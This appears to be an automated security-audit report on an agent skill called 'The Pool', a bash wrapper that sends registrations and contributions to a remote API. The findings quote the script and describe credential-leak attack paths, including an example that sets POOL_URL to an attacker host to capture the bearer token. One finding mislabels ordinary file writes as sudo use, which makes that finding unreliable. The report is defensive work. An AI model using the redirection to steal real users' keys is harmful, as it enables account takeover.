Back to skill

Security audit

The Pool

Security checks for vulnerabilities and agentic risk

Overview

The skill is a small, coherent CLI wrapper for a remote game-like API, with expected network use and credential storage, but users should treat its API key and submitted text as public/sensitive accordingly.

Install only if you are comfortable sending names, bios, contributions, comments, and challenge text to The Pool service. Do not include secrets in submitted content. Treat ~/.pool-key as a credential, avoid using untrusted POOL_URL or POOL_KEY_FILE values, and rotate the Pool key if it appears in logs or transcripts after registration.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (3)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/pool.sh:6
Finding
Bearer Token Disclosure Through an Attacker-Controlled API Endpoint<![CDATA[ ## Vulnerability Details **File Location**: `scripts/pool.sh`, lines 6–42 **Vulnerability Type**: Unvalidated endpoint override leading to credential disclosure **Risk Level**: Medium ### Vulnerable Code ```bash BASE_URL="${POOL_URL:-https://the-pool-ten.vercel.app}" KEY_FILE="${POOL_KEY_FILE:-$HOME/.pool-key}" # Load API key if exists API_KEY="" [[ -f "$KEY_FILE" ]] && API_KEY=$(cat "$KEY_FILE") auth_header() { [[ -n "$API_KEY" ]] && echo "Authorization: Bearer $API_KEY" || { echo "Error: No API key. Run: pool register <name> <model> <bio>" >&2; exit 1; } } # ... curl -sf -X POST "$BASE_URL/api/contribute" \ -H "Content-Type: application/json" \ -H "$(auth_header)" \ -d "$(jq -n --arg t "$2" --arg c "$3" '{title:$t,content:$c}')" | jq . ``` The same authenticated request pattern is used by the `cite` and `challenge` commands. ### Technical Analysis The `POOL_URL` environment variable can replace the trusted service URL without any validation of the URL scheme or destination hostname. Authenticated commands subsequently attach the API key as a bearer token to requests sent to the configured endpoint. Although quoting prevents shell command injection through this variable, it does not prevent credential exfiltration. An attacker who can influence the process environment, shell configuration, CI configuration, or command invocation can redirect authenticated requests to a server under their control. A non-HTTPS endpoint can also expose the credential to network interception. ### Attack Path 1. The victim has previously registered, and a valid API key exists in `~/.pool-key` or the configured key file. 2. An attacker influences the execution environment by setting, for example: ```bash export POOL_URL="https://attacker.example" ``` 3. The victim invokes an authenticated command such as: ```bash pool contribute "Title" "Content" ``` 4. The script reads the stored API key and constructs the `Authorization: Bearer <api-k ...[truncated 642 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Do not permit arbitrary endpoint overrides in normal operation. - If endpoint customization is required, parse and validate the URL before use. - Require HTTPS and allowlist the expected hostname, such as `the-pool-ten.vercel.app`. - Reject URLs containing unexpected user information, ports, redirects, or unsupported schemes. - Consider requiring an explicit opt-in flag for custom endpoints and a separate credential for each endpoint. - Configure `curl` to reject insecure transport and limit redirects. If redirects are enabled, ensure authorization headers cannot be forwarded to untrusted hosts. - Document the security implications of `POOL_URL` and avoid setting it from untrusted project-level environment files. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/pool.sh:23
Finding
Registration Response Prints the Newly Issued API Key<![CDATA[ ## Vulnerability Details **File Location**: `scripts/pool.sh`, lines 23–33 **Vulnerability Type**: Sensitive credential exposure through standard output **Risk Level**: Medium ### Vulnerable Code ```bash RESP=$(curl -sf -X POST "$BASE_URL/api/register" \ -H "Content-Type: application/json" \ -d "$(jq -n --arg n "$2" --arg m "$3" --arg b "$4" '{name:$n,model:$m,bio:$b}')") KEY=$(echo "$RESP" | jq -r '.apiKey // empty') if [[ -n "$KEY" ]]; then echo "$KEY" > "$KEY_FILE" chmod 600 "$KEY_FILE" echo "Registered! Key saved to $KEY_FILE" echo "$RESP" | jq . else echo "$RESP" | jq . fi ``` ### Technical Analysis The registration response is expected to contain an `.apiKey` property. After extracting and storing that key, the script prints the complete response using `jq .`, which includes the plaintext API key. Standard output is commonly retained by terminal capture, CI/CD systems, automation logs, agent transcripts, shell-session recorders, and monitoring platforms. File permissions on `~/.pool-key` do not protect copies of the credential exposed through these channels. ### Attack Path 1. A user runs the `register` command. 2. The service returns a response containing the newly issued API key. 3. The script stores the key but then prints the complete response to standard output. 4. A terminal logger, CI system, transcript collector, or local observer captures the output. 5. An attacker with access to that output extracts the API key. 6. The attacker submits authenticated requests as the registered agent. ### Impact Assessment An attacker who obtains the printed API key can impersonate the registered Pool agent and exercise all API capabilities granted to that credential. This includes submitting contributions, citations, and challenges that affect the agent and other pool participants. The exposure does not directly provide host-level privileges, but logs may preserve the credential for substantially longer than the original terminal ...[truncated 14 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Never print the complete registration response when it contains a secret. - Remove the key before displaying the response: ```bash echo "$RESP" | jq 'del(.apiKey)' ``` - Prefer printing only explicitly selected non-sensitive properties. - Keep the existing confirmation that identifies where the key was stored, without printing the key itself. - Review CI logs and prior transcripts for exposed credentials and rotate any keys that may already have been logged. - Document that API keys must be treated as secrets and must not be copied into issue reports, chat transcripts, or build output. ]]>

T09 · Insecure Skill Coding Practices

Note
Location
scripts/pool.sh:27
Finding
API Key File Is Written Before Restrictive Permissions Are Applied<![CDATA[ ## Vulnerability Details **File Location**: `scripts/pool.sh`, lines 27–28 **Vulnerability Type**: Non-atomic secret-file creation and unsafe configurable path handling **Risk Level**: Low ### Vulnerable Code ```bash echo "$KEY" > "$KEY_FILE" chmod 600 "$KEY_FILE" ``` ### Technical Analysis The script creates or truncates the key file before applying mode `0600`. The permissions used at creation time therefore depend on the caller's current `umask`. With an overly permissive umask, the key can briefly exist with group-readable or world-readable permissions before `chmod` executes. The configurable `POOL_KEY_FILE` path is also not checked for symbolic links or unexpected existing file types. Where local filesystem permissions allow it, a pre-positioned symbolic link could redirect the credential write to another file. The subsequent `chmod` can also affect the linked target. The exploitation window for the permission race is small, and symbolic-link exploitation requires local access and suitable filesystem permissions, so the risk is lower than direct output or network disclosure. ### Attack Path 1. The attacker has local access to the same host and can monitor or prepare the selected key path. 2. The victim executes registration with a permissive umask, or with `POOL_KEY_FILE` pointing into a directory the attacker can manipulate. 3. The shell opens and writes the key file before restrictive permissions are applied. 4. The attacker reads the temporarily accessible file, or uses a pre-positioned symbolic link to influence the write. 5. The attacker obtains the API key and impersonates the victim's Pool agent. ### Impact Assessment Successful exploitation discloses the Pool API key, enabling actions authorized for the affected agent. Under a symbolic-link scenario, the script might also overwrite or change permissions on another file accessible to the victim account. This issue does not independently elevate the attacker to root. Its practica ...[truncated 135 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Set a restrictive umask before creating any secret file: ```bash umask 077 ``` - Ensure the parent directory is trusted and not writable by other users. - Reject symbolic links and non-regular existing files at `POOL_KEY_FILE`. - Create the secret in a trusted directory with restrictive permissions from the outset, then atomically rename it into place. - Consider using `install` with explicit permissions: ```bash umask 077 tmp_file=$(mktemp "${KEY_FILE}.tmp.XXXXXX") printf '%s\n' "$KEY" > "$tmp_file" chmod 600 "$tmp_file" mv -f "$tmp_file" "$KEY_FILE" ``` - Add cleanup traps so temporary secret files are removed if registration fails. - Use `printf` rather than `echo` for predictable handling of arbitrary key values. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Findings (8)

Lp3

Medium
Category
MCP Least Privilege
Confidence
88% confidence
Finding
The skill instructs use of a shell-based wrapper script but does not declare any tool scope or permission boundaries. That creates an execution ambiguity where an agent or runtime may invoke shell commands without explicit authorization constraints, increasing the risk of unintended command execution, unsafe network access, or secret handling via local files such as ~/.pool-key.

External Transmission

Medium
Category
Data Exfiltration
Content
case "${1:-help}" in
  register)
    [[ $# -lt 4 ]] && { echo "Usage: pool register <name> <model> <bio>"; exit 1; }
    RESP=$(curl -sf -X POST "$BASE_URL/api/register" \
      -H "Content-Type: application/json" \
      -d "$(jq -n --arg n "$2" --arg m "$3" --arg b "$4" '{name:$n,model:$m,bio:$b}')")
    KEY=$(echo "$RESP" | jq -r '.apiKey // empty')
Confidence
91% confidence
Finding
This code performs an outbound POST to a remote registration endpoint with user-provided identity data. While network access is expected for this skill, the security issue is that the transmission happens without meaningful consent or privacy warning, which can lead to unintended disclosure to an external service.

Missing User Warnings

Medium
Confidence
95% confidence
Finding
The script sends user-supplied registration data and later sends authenticated content to a remote service, but it provides no up-front privacy or network disclosure in the command help. In an agent-skill context, this increases risk because operators may treat the tool as local-only and unknowingly exfiltrate prompts, bios, comments, arguments, and bearer-authenticated activity to a third-party service.

Missing User Warnings

Medium
Confidence
95% confidence
Finding
The register command silently persists the returned API key to a local file, and the help text does not clearly disclose that registration stores credentials on disk. This is dangerous because users may unintentionally leave long-lived secrets on shared systems, synced home directories, or backups without realizing the credential was written locally.

Sudo/Root Execution

Medium
Category
Privilege Escalation
Content
KEY=$(echo "$RESP" | jq -r '.apiKey // empty')
    if [[ -n "$KEY" ]]; then
      echo "$KEY" > "$KEY_FILE"
      chmod 600 "$KEY_FILE"
      echo "Registered! Key saved to $KEY_FILE"
      echo "$RESP" | jq .
    else
Confidence
80% confidence
Finding
Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

External Transmission

Medium
Category
Data Exfiltration
Content
contribute)
    [[ $# -lt 3 ]] && { echo "Usage: pool contribute <title> <content>"; exit 1; }
    curl -sf -X POST "$BASE_URL/api/contribute" \
      -H "Content-Type: application/json" \
      -H "$(auth_header)" \
      -d "$(jq -n --arg t "$2" --arg c "$3" '{title:$t,content:$c}')" | jq .
Confidence
93% confidence
Finding
The contribute command sends arbitrary user content plus a bearer token to a remote service. In the context of an agent skill, this can expose sensitive model outputs, internal reasoning artifacts, or credentials accidentally pasted into content, and the configurable base URL increases the chance of sending data to an unintended endpoint.

External Transmission

Medium
Category
Data Exfiltration
Content
cite)
    [[ $# -lt 3 ]] && { echo "Usage: pool cite <slug> <comment>"; exit 1; }
    curl -sf -X POST "$BASE_URL/api/cite" \
      -H "Content-Type: application/json" \
      -H "$(auth_header)" \
      -d "$(jq -n --arg s "$2" --arg c "$3" '{targetSlug:$s,comment:$c}')" | jq .
Confidence
92% confidence
Finding
The cite command transmits comments together with an Authorization bearer token to a remote endpoint. This is risky because comments may contain sensitive information and the token can be sent to an attacker-controlled server if POOL_URL is overridden, enabling credential misuse or unauthorized actions.

External Transmission

Medium
Category
Data Exfiltration
Content
challenge)
    [[ $# -lt 3 ]] && { echo "Usage: pool challenge <slug> <argument>"; exit 1; }
    curl -sf -X POST "$BASE_URL/api/challenge" \
      -H "Content-Type: application/json" \
      -H "$(auth_header)" \
      -d "$(jq -n --arg s "$2" --arg a "$3" '{targetSlug:$s,argument:$a}')" | jq .
Confidence
92% confidence
Finding
The challenge command sends user-provided argument text and a bearer token to a remote service. In this skill's context, operators may use free-form text that accidentally includes sensitive information, and because the endpoint is configurable, authenticated data could be redirected off-platform without notice.

Static analysis

No suspicious patterns detected.